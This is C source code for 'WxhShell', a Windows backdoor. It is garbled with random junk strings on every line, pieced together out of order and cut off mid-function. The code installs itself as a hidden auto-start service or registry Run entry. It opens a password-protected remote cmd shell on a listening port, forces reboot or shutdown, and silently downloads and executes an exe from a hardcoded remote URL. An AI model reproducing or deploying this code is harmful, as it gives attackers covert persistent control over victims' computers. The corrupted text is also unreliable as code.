    if(Boot(SHUTDOWN)) jG8 ihi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 LXK#+Z  
    else { C{+~x@  
    closesocket(wsh); |jc87(x <  
    ExitThread(0); AVHn7olG  
    } Kkdd}j  
    break; 8h-6;x^^  
    } BDc*N]m}B1  
  // 获取shell u'LA%l-  
  case 's': { Pp #!yMxBr  
    CmdShell(wsh); Jg |/*Or  
    closesocket(wsh); N CX!ss  
    ExitThread(0); aY8>#t?  
    break; Y~bp:FkS  
  } ;nSaZ$`5  
  // 退出 S yX>zN!  
  case 'x': { 'szkn0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ow mI*`  
    CloseIt(wsh); @ttcFX1:W  
    break; ;k!bv|>n  
    } >:h 8T]F  
  // 离开 rOH8W  
  case 'q': { I)9;4lix  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +g\u=&< 6  
    closesocket(wsh); a+,)rY9  
    WSACleanup(); 6BNOF66kH  
    exit(1); RG#  
    break; a)[tkjU  
        } 0;r+E*`DA  
  } ]r6,^"  
  } (F~eknJ  
T?NwSxGo  
  // 提示信息 Y!CZ?c) @  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "k5 C?~  
} z$4g9  
  } S81% iz.n  
 :tBIo7  
  return; $P&{DOiKS  
} #.L9/b(  
ZP~Mgz{f  
// shell模块句柄 wI8  
int CmdShell(SOCKET sock) \@&oK2f  
{ b+Vfi9<  
STARTUPINFO si; JZI)jIh  
ZeroMemory(&si,sizeof(si)); 2[ = =  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <:/Lap#D^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &W+lwEu  
PROCESS_INFORMATION ProcessInfo; ;)$bhNFHx  
char cmdline[]="cmd"; o&0fvCpW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;-sZaU;  
  return 0; 6B`XHdCq  
} MdXOH$ ps  
!IF]P#  
// 自身启动模式 C@d*t?  
int StartFromService(void) DcYL8u  
{ -:cBVu-m  
typedef struct ])OrSsV}  
{ "AYm*R  
  DWORD ExitStatus; <` [o|>A Z  
  DWORD PebBaseAddress; i<@"+~n~GK  
  DWORD AffinityMask; X .,Lmh  
  DWORD BasePriority; W>TG!R 5  
  ULONG UniqueProcessId; 0,~||H{  
  ULONG InheritedFromUniqueProcessId; ~wYGTm=(n  
}   PROCESS_BASIC_INFORMATION; x3DUz  
,2oFt\`.r  
PROCNTQSIP NtQueryInformationProcess; 3r^Ls[ey  
6$/Z.8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C0C2]xx{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bpP-wA^Hd  
C2t]  
  HANDLE             hProcess; X})5XYvA*  
  PROCESS_BASIC_INFORMATION pbi; b3.  
[l44,!Z&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E$SYXe[,  
  if(NULL == hInst ) return 0; 2_T2?weD5  
Db4(E*/pj!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t 2x2_;a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nm$B a.Rg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); abMB-  
`A\,$(q+  
  if (!NtQueryInformationProcess) return 0; h4p<n&)F  
'3<T~t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z9wKjxu+  
  if(!hProcess) return 0; Fi+8|/5  
^AhV1rBB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d*$L$1S  
(A(j.[4a  
  CloseHandle(hProcess); s.|OdC>U =  
ly[j=vBV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^_\S)P2c  
if(hProcess==NULL) return 0; =hRo#]{(K  
%_Q+@9  
HMODULE hMod; Ec/&?|$  
char procName[255]; tJ Bj9{  
unsigned long cbNeeded; ^?M# |>  
)[b\wrc   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :2t0//@X  
='A VI-go5  
  CloseHandle(hProcess); <+y%k~("  
izDfpr}s4  
if(strstr(procName,"services")) return 1; // 以服务启动 m^!Kthq  
|j}D2q=  
  return 0; // 注册表启动 Mi~x(W@}3  
} :$6mS[@|  
M mmg3%G1  
// 主模块 >\br8=R  
int StartWxhshell(LPSTR lpCmdLine) -7Bg5{FA  
{ &?[g8A  
  SOCKET wsl; #| pn,/  
BOOL val=TRUE; !;3hN$5  
  int port=0; Y`NwE  
  struct sockaddr_in door; ?e{hidg  
$E/N  
  if(wscfg.ws_autoins) Install(); } ~NM\rm  
CCHGd&\Z  
port=atoi(lpCmdLine); Nl]_Ie6  
%1mIngW=g  
if(port<=0) port=wscfg.ws_port; (H^)wDb  
="p,~ivrz  
  WSADATA data; ^HhV ?Iqg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p[Zk;AT~  
3AcS$.G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;nq"jm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bvW3[ V  
  door.sin_family = AF_INET; ,(i`gH{D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q2 b>Z6!5  
  door.sin_port = htons(port); 8vkCmV  
>,x&L[3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ++sbSl)Q  
closesocket(wsl); T mK[^  
return 1; K 0e*K=UM  
} |.KB  
=AcK9?%5  
  if(listen(wsl,2) == INVALID_SOCKET) { }}qY,@eeX  
closesocket(wsl); 2BKiA[ ;;  
return 1; kyi"U A82  
} +iqzj-e&e[  
  Wxhshell(wsl); 1B#iJZ}  
  WSACleanup(); J#IVu?B  
z6*r<>Bf+b  
return 0; ^ Paf-/  
B&QEt[=s  
} { SF'YbY  
;Q8`5h   
// 以NT服务方式启动 =pZ$oTR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X2|&\G9c  
{ \3&1iA9=)  
DWORD   status = 0; 6d`qgEM3  
  DWORD   specificError = 0xfffffff; iCJXV'  
5dX /<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8d?%9# p-)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [Kg3:]2A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C);3GPp  
  serviceStatus.dwWin32ExitCode     = 0; -FF#+Z$  
  serviceStatus.dwServiceSpecificExitCode = 0; Yl&bv#[z  
  serviceStatus.dwCheckPoint       = 0; m*wDJEKo  
  serviceStatus.dwWaitHint       = 0; Q#F9&{'l  
Aj8zFt ]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }hE!0q~MfM  
  if (hServiceStatusHandle==0) return; /PVx  
0GW69 z  
status = GetLastError(); 5yyc 0UG  
  if (status!=NO_ERROR) 4/V;g%0uN;  
{ TNDp{!<|L;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q@"}v_r4  
    serviceStatus.dwCheckPoint       = 0; )<%CI#s#  
    serviceStatus.dwWaitHint       = 0; 7z_ZD0PxPc  
    serviceStatus.dwWin32ExitCode     = status; YSzC's[  
    serviceStatus.dwServiceSpecificExitCode = specificError; rB-R(2 CCN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N1}r%!jk/  
    return; Y <`X$  
  } ~g9~D}48k'  
4k9$' k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p"7]zq]'  
  serviceStatus.dwCheckPoint       = 0; O=vD6@QI  
  serviceStatus.dwWaitHint       = 0; i[4!% FxB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {Hie% 2V  
} *~~J1.ja>  
Dm%Q96*VAq  
// 处理NT服务事件,比如:启动、停止 Es- =0gpK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vmv6y*qU  
{ 0 . UN  
switch(fdwControl) 3&I3ViAH  
{ Rh!m1Q(-  
case SERVICE_CONTROL_STOP: 2Lytk OMf  
  serviceStatus.dwWin32ExitCode = 0; <isU D6TC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0dIGX |e  
  serviceStatus.dwCheckPoint   = 0; .F'Cb)Z  
  serviceStatus.dwWaitHint     = 0; Aj]/A  
  { +f$ {r7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1,:QrhC  
  } ,k1ns?i9KH  
  return; p-m\0tQ  
case SERVICE_CONTROL_PAUSE: G)?j(El  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <00nu'Ex1v  
  break; \x<,Ma=D  
case SERVICE_CONTROL_CONTINUE: QL @SE@"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &lID6{79Z  
  break; Em4'b1mDX%  
case SERVICE_CONTROL_INTERROGATE: H ?eG5  
  break; 2c51kG77E  
}; Q8A+\LR~)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); # F6<N]i  
} :L6%57  
(0l>P]"n   
// 标准应用程序主函数 S(Z\h_m(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mN l[D  
{ PZvc4  
AHMvh 7O?  
// 获取操作系统版本 S?zP; iFj  
OsIsNt=GetOsVer(); Q@|"xKa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >sdF:(JV&  
#S] O|$&*  
  // 从命令行安装 Q E pCU)  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xg l %2'  
mhM;`dl  
  // 下载执行文件 Y O|hwhe_  
if(wscfg.ws_downexe) { R%~~'/2V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #V)l>  
  WinExec(wscfg.ws_filenam,SW_HIDE); W9{;HGWS  
}  )y6  
}O+S}Hbwy  
if(!OsIsNt) { :#\jx  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]<ay_w;  
HideProc(); I?nU+t;  
StartWxhshell(lpCmdLine); tKeozV[V  
} -7XaS&.4  
else ,S m?2<  
  if(StartFromService()) _dECAk &b  
  // 以服务方式启动 C^LxJG{L5  
  StartServiceCtrlDispatcher(DispatchTable); 4]E1x l  
else _j4 K  
  // 普通方式启动 +K8T%GAr  
  StartWxhshell(lpCmdLine); 9':Hh'  
S|;}]6p  
return 0; Q);}1'c  
} t|9vb  
@+_pj.D  
xSO5?eR"u  
~[kI! [  
=========================================== d|`8\fq  
UV</Nx)3  
APJFy@l}  
t'yh&44_  
)iVuac]E++  
TwF.UL@G%  
" [,;O$j}  
ONZ(0H{ 1$  
#include <stdio.h> l^%52m@{  
#include <string.h> Bs|#7mA[  
#include <windows.h> hhhxsGyv  
#include <winsock2.h> &_s^C?x  
#include <winsvc.h> 6(7dr?^eGT  
#include <urlmon.h> ;mr*$Iu7|  
>L8 & 6aU  
#pragma comment (lib, "Ws2_32.lib") N/b$S@  
#pragma comment (lib, "urlmon.lib") ~eS/gF?  
a2]>R<M  
#define MAX_USER   100 // 最大客户端连接数 ILiOEwHS7F  
#define BUF_SOCK   200 // sock buffer &h.?~Ri  
#define KEY_BUFF   255 // 输入 buffer ]zj&U#{  
FW)~e*@8=  
#define REBOOT     0   // 重启 {d0 rUHP  
#define SHUTDOWN   1   // 关机 M$Rh]3vqR  
L^PBcfg  
#define DEF_PORT   5000 // 监听端口 a1ps'^Qhh  
6OJhF7\0&  
#define REG_LEN     16   // 注册表键长度 XWX]/j2jA  
#define SVC_LEN     80   // NT服务名长度 YG5mzP<T  
,1.Td=lY$  
// 从dll定义API w_;$ahsu~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lo Y*,Aa&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (=Oo=8\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .]a`-Ofn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m?1r@!/y  
}7K~-  
// wxhshell配置信息 [\%a7ji#  
struct WSCFG { snNB;hkj  
  int ws_port;         // 监听端口 ;TK$?hrv*1  
  char ws_passstr[REG_LEN]; // 口令 *(XGNp[0  
  int ws_autoins;       // 安装标记, 1=yes 0=no bPkz=^-  
  char ws_regname[REG_LEN]; // 注册表键名  @k#xr  
  char ws_svcname[REG_LEN]; // 服务名 T11>&K)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q~n%c7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3hEbM'L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \/nSRAk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -G'3&L4 D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ] r%fAm j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3qDbfO[  
L s3r( Tf  
}; )>iPx.hVSS  
;?TM_%>  
// default Wxhshell configuration V&/Cb&~Uw  
struct WSCFG wscfg={DEF_PORT, c+O:n:L  
    "xuhuanlingzhe", ,Ij/ ^EC}  
    1,  [@3.dd  
    "Wxhshell", b`Jsu!?{  
    "Wxhshell", AM#s2.@  
            "WxhShell Service", :QHh;TIG=<  
    "Wrsky Windows CmdShell Service", ,g3n/'rP%  
    "Please Input Your Password: ", !/! Fc'A  
  1, E8wkqZN  
  "http://www.wrsky.com/wxhshell.exe", &Z9rQH81f>  
  "Wxhshell.exe" Po.by~|  
    }; e? |4O< @  
!CY*SGO  
// 消息定义模块 ttt4h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !9.\A:G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "5Z5x%3I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vIZFI  
char *msg_ws_ext="\n\rExit."; lS!O(NzqE'  
char *msg_ws_end="\n\rQuit."; o3NB3@uj<  
char *msg_ws_boot="\n\rReboot...";  `=B v+  
char *msg_ws_poff="\n\rShutdown..."; u@`y/,PX  
char *msg_ws_down="\n\rSave to "; IJ:JH=8  
V@EyU/VJ  
char *msg_ws_err="\n\rErr!"; 5yj6MaqJ  
char *msg_ws_ok="\n\rOK!"; 2E!Q5 l!j  
*Uf>Xr&  
char ExeFile[MAX_PATH]; hM=X# ;  
int nUser = 0; ER}5`*X{  
HANDLE handles[MAX_USER]; d6 9dC*>  
int OsIsNt; M6V^ur 1  
<^942y-=  
SERVICE_STATUS       serviceStatus; 9T1 - {s R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )t:8;;W@Ir  
pwB>$7(_h  
// 函数声明 F[)tg#}@G  
int Install(void); g&8-X?^Q  
int Uninstall(void); tbfwgK  
int DownloadFile(char *sURL, SOCKET wsh); q]s_hWWv  
int Boot(int flag); t\v~ A0  
void HideProc(void); *<h)q)HS  
int GetOsVer(void); ~~m(CJ4S  
int Wxhshell(SOCKET wsl); =8"xQ>D62  
void TalkWithClient(void *cs); ~0}d=d5g  
int CmdShell(SOCKET sock); ^7t1'A8e<  
int StartFromService(void); */|<5X;xIA  
int StartWxhshell(LPSTR lpCmdLine); d7:=axo,  
'TA !JB+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pTncx%!W5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kjOkPp  
;hEeFJ=/G  
// 数据结构和表定义 1F+JyZK}w  
SERVICE_TABLE_ENTRY DispatchTable[] = )@=fGNDt  
{ [dqh-7  
{wscfg.ws_svcname, NTServiceMain}, yb0Mn*X+ N  
{NULL, NULL} P{: 5i%qC  
}; k%aJ%(  
SO<9?uk.  
// 自我安装 hrXk7}9  
int Install(void) dOKe}?}==  
{ Q|U [|U  
  char svExeFile[MAX_PATH]; kQn}lD  
  HKEY key; @%fL*^yr;C  
  strcpy(svExeFile,ExeFile); 6* 0vUy*"  
>Nx4 +|  
// 如果是win9x系统,修改注册表设为自启动 "3_GFq  
if(!OsIsNt) { [| N73m,&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !\^W*nQ>l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dx$+,R~y  
  RegCloseKey(key); O]j<$GG!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d b *J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ocZ^rqo2w  
  RegCloseKey(key); [N<rPHT  
  return 0; +c__U Qx  
    } L@ejFXQg  
  } \Xr*1DI<  
} jx ?"`;a  
else { b&AeIU}&  
vkeZ!klYB  
// 如果是NT以上系统,安装为系统服务 o1-_BlZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +Y$EZL.A  
if (schSCManager!=0) IA`Lp3Z  
{ SDs#w  
  SC_HANDLE schService = CreateService nU isC5HW  
  ( J=HN~B1  
  schSCManager, 0F 2p4!@W  
  wscfg.ws_svcname, >&^jKfY  
  wscfg.ws_svcdisp, @3S:W2k  
  SERVICE_ALL_ACCESS, Nu'ox. V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nx E=^ v  
  SERVICE_AUTO_START, k^zU;  
  SERVICE_ERROR_NORMAL, . lNf.x#u  
  svExeFile, cIP%t pTW.  
  NULL, +*aC \4w  
  NULL, e{ *yV#Wl  
  NULL, ;<nJBZB9u  
  NULL, $\M];S=CY  
  NULL }02(Y!Gh  
  ); P?zaut  
  if (schService!=0) agQD d8oX  
  { vF/wV'Kk  
  CloseServiceHandle(schService); e0<O6  
  CloseServiceHandle(schSCManager); nyBT4e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zq5~M bldh  
  strcat(svExeFile,wscfg.ws_svcname); 9\0$YY%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T8yMaC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); io@f5E+?  
  RegCloseKey(key); *.Z~f"SZy*  
  return 0; 6qWWfm/6  
    } V7cr%tY5  
  } mU.c!|Y  
  CloseServiceHandle(schSCManager); Dv&K3^~Rfb  
} p%K(dA  
} {kr14 l*2  
ff~1>=^  
return 1; ~qK/w0=j  
} \)ZCB7|  
Z9Z\2t  
// 自我卸载 MIb [}w=  
int Uninstall(void) <d >!%  
{ KKWv V4u  
  HKEY key; EBr?>hl  
;WgUhA ;q  
if(!OsIsNt) { Kx?8 HA[5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _rmKvSD%  
  RegDeleteValue(key,wscfg.ws_regname); RaP,dR+P  
  RegCloseKey(key); %E"Z &_3{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;|:R*(2   
  RegDeleteValue(key,wscfg.ws_regname); *%E\mu,,c  
  RegCloseKey(key); c]/S<w<  
  return 0; xErb11  
  } ;uzLa%JQ  
} E]=>@EX  
} J;4aghzY  
else { jx2{kK  
\N$)Q.M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j0s$}FPUI  
if (schSCManager!=0) n=|% H'U  
{ 6Rmdf>a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FYK`.>L28  
  if (schService!=0) -:OJX#j  
  { q alrG2  
  if(DeleteService(schService)!=0) { t[@>u'YKt  
  CloseServiceHandle(schService); beSU[  
  CloseServiceHandle(schSCManager); k[,0kP;  
  return 0; yxU9W,D v  
  } jL'`M%8O  
  CloseServiceHandle(schService); #<EYO  
  } SvrUXf  
  CloseServiceHandle(schSCManager); e `OQ6|.k8  
} tw&v@HUP  
} 5$+ssR_?k  
iRbe$v&N  
return 1; *>1^q9M  
} 0/9]T Ic  
ivyaGAF}+o  
// 从指定url下载文件 _x|.\j  
int DownloadFile(char *sURL, SOCKET wsh) 3!vzkBr  
{ )^+hm+27v  
  HRESULT hr; 4 Tw~4b  
char seps[]= "/"; >[;=c0(  
char *token; $*T?}r>  
char *file; >P&1or)e%  
char myURL[MAX_PATH]; 8ZLHN',  
char myFILE[MAX_PATH]; -V;BkE76  
C+[)^ 2M{  
strcpy(myURL,sURL); aB?usVoS  
  token=strtok(myURL,seps); aT(_c/t.  
  while(token!=NULL) R n]xxa'  
  { +jyGRSo  
    file=token; X6 N&:<  
  token=strtok(NULL,seps); 7 nFOV Z  
  } / *PHX@  
 bLAHVi<.  
GetCurrentDirectory(MAX_PATH,myFILE); 2#r4dr0  
strcat(myFILE, "\\"); :tI F*pC  
strcat(myFILE, file); akU2ToP  
  send(wsh,myFILE,strlen(myFILE),0); 4^M"V5tDx  
send(wsh,"...",3,0); :O$bsw:3w<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OZnKJ<  
  if(hr==S_OK) W5=)B`v  
return 0;  o?m/  
else h /^bRs`;  
return 1; f-71`Pyb  
Qh(X7B  
} FROC/'  
>%0$AW|Exu  
// 系统电源模块 _B&Lyg !J  
int Boot(int flag) !!H"B('m  
{ (xRcG+3];  
  HANDLE hToken; : -d_  
  TOKEN_PRIVILEGES tkp; :dAd5v2f  
q!?*M?Oz  
  if(OsIsNt) { a6^_iSk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2vX $:4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8W?dWj  
    tkp.PrivilegeCount = 1; 7t:tS7{}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I "~.p='  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G3%Ju=  
if(flag==REBOOT) { _]pu"hZz4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P(TBFu  
  return 0; XclTyUGoK+  
} ;}"Eqq:  
else { zdd-n[%@V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,^97Ks ;  
  return 0; 0FgF,  
} ;%B9mM#p~  
  } 6/Xs}[iJ  
  else { ,3y9yJQa*#  
if(flag==REBOOT) { Z>Mv$F"p:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cgSN:$p(R  
  return 0; <7`zc7c]#  
} Fu tS  
else { _gI1rXI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C5,fX-2Q  
  return 0; \ '4~@  
} bAGKi.  
} G9 O6Fi  
ow.!4kx{d  
return 1; wz*iwd-  
} (Y@T5-!D  
$?G@ijk,  
// win9x进程隐藏模块 |f#hGk6  
void HideProc(void) pX?3inQP%(  
{ v/.'st2%  
f,KB BBbG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cN8Fn4gq  
  if ( hKernel != NULL ) 'in%Gii  
  { v#d\YV{I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %gh#gH   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <\u3p3"[4  
    FreeLibrary(hKernel); IrqM_OjC  
  } oDz|%N2s|  
E)gD"^rex  
return; R=lw}jH[Z  
} ;*M@LP{*L  
"J1A9|  
// 获取操作系统版本 ?<TJ}("/  
int GetOsVer(void) 49$<:{~  
{ 7upko9d/  
  OSVERSIONINFO winfo; ]HuB%G|t1V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _9 ]:0bDUo  
  GetVersionEx(&winfo); Y \-W`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~\jP+[>M'  
  return 1; V0>X2&.A  
  else >8>!wi9U  
  return 0; ,=P&{38\q  
} =GPXuo  
3k`Q]O=OU  
// 客户端句柄模块 LV^^Bd8Ct  
int Wxhshell(SOCKET wsl) v$|~ g'6  
{ 3SP";3+  
  SOCKET wsh; :*M?RL@j  
  struct sockaddr_in client; K)7T]z`  
  DWORD myID; ZH_$Q$9  
(?7=,A7^  
  while(nUser<MAX_USER) ^w60AqR8  
{ ,PTM'O@aU#  
  int nSize=sizeof(client); * 9^8NY]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ahg:mlaob  
  if(wsh==INVALID_SOCKET) return 1; A'DFY {  
I)Xf4F S@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]P0%S@]  
if(handles[nUser]==0) &v{#yzM  
  closesocket(wsh); #1DEZ4]jjY  
else vW1^  
  nUser++; Y 3BJ@sqz  
  }  $3^M-w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \yr9j$  
](w)e p~;3  
  return 0; i6'=]f'{  
} /Sw~<B!8N  
b&:v6#i  
// 关闭 socket _x,X0ncv]@  
void CloseIt(SOCKET wsh) = :gKh  
{ QnWE;zN[7A  
closesocket(wsh); 5H0qMt P  
nUser--; @:C)^f"  
ExitThread(0); :> 0ywg  
} pAE (i7  
yV(#z2|  
// 客户端请求句柄 79v+ze  
void TalkWithClient(void *cs) SK}sf9gTv  
{ tOiz tYu  
.SD-6GVD  
  SOCKET wsh=(SOCKET)cs; .\R9tt}  
  char pwd[SVC_LEN]; mWT+15\5r(  
  char cmd[KEY_BUFF]; o5o myMN  
char chr[1]; P%aqY~yF3  
int i,j; xsZG(Tz  
x77L"5g  
  while (nUser < MAX_USER) { 2/&=:,"t,B  
pl`4&y%Me  
if(wscfg.ws_passstr) { &n6{wtBP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z<nNk.G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lYG`)#T  
  //ZeroMemory(pwd,KEY_BUFF); NN*L3yx  
      i=0; jIubJQR~  
  while(i<SVC_LEN) { }?s-$@$R  
23gN;eD+m6  
  // 设置超时 FEjO}lTK  
  fd_set FdRead; *7xcwj eP  
  struct timeval TimeOut; oy^-?+   
  FD_ZERO(&FdRead); $hhXsu=  
  FD_SET(wsh,&FdRead); |>;PV4])(  
  TimeOut.tv_sec=8; ,*|Q=  
  TimeOut.tv_usec=0; 4$xVm,n|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (U:-z=E#1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c RLw)"|  
,HZ%q]*:~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |?T=4~b  
  pwd=chr[0]; ihrf/b  
  if(chr[0]==0xd || chr[0]==0xa) { fDy*dp4z  
  pwd=0; uy {O   
  break; 46>rvy.r  
  } zPaubqB  
  i++; CvU$Fsb  
    } ?Y4 +3`\x  
x%viCkq  
  // 如果是非法用户,关闭 socket Z/q6Q#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yB UQ!4e  
} m!FuC=e  
RE>Q5#|c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KU|W85ye  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gi!_Nz  
m _)-  
while(1) { wN[lC|1c  
QX=TuyO  
  ZeroMemory(cmd,KEY_BUFF); JwSF}kNs}  
g *Js4  
      // 自动支持客户端 telnet标准   Cbff:IP  
  j=0; oco,sxT  
  while(j<KEY_BUFF) { z!g$#hmL>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mw"FQ?bJ  
  cmd[j]=chr[0]; iB)\* )  
  if(chr[0]==0xa || chr[0]==0xd) { ]? y~;-^  
  cmd[j]=0; #[ prG  
  break; I$; `^z  
  } l U/Xi  
  j++; IC cr  
    } cGV%=N^BE<  
KQf WpHwfj  
  // 下载文件 <XLae'R  
  if(strstr(cmd,"http://")) { d5'Q 1"{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]o] VS  
  if(DownloadFile(cmd,wsh)) _.s ,gX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qt.*Z;Gs  
  else s5*4<VxQN.  
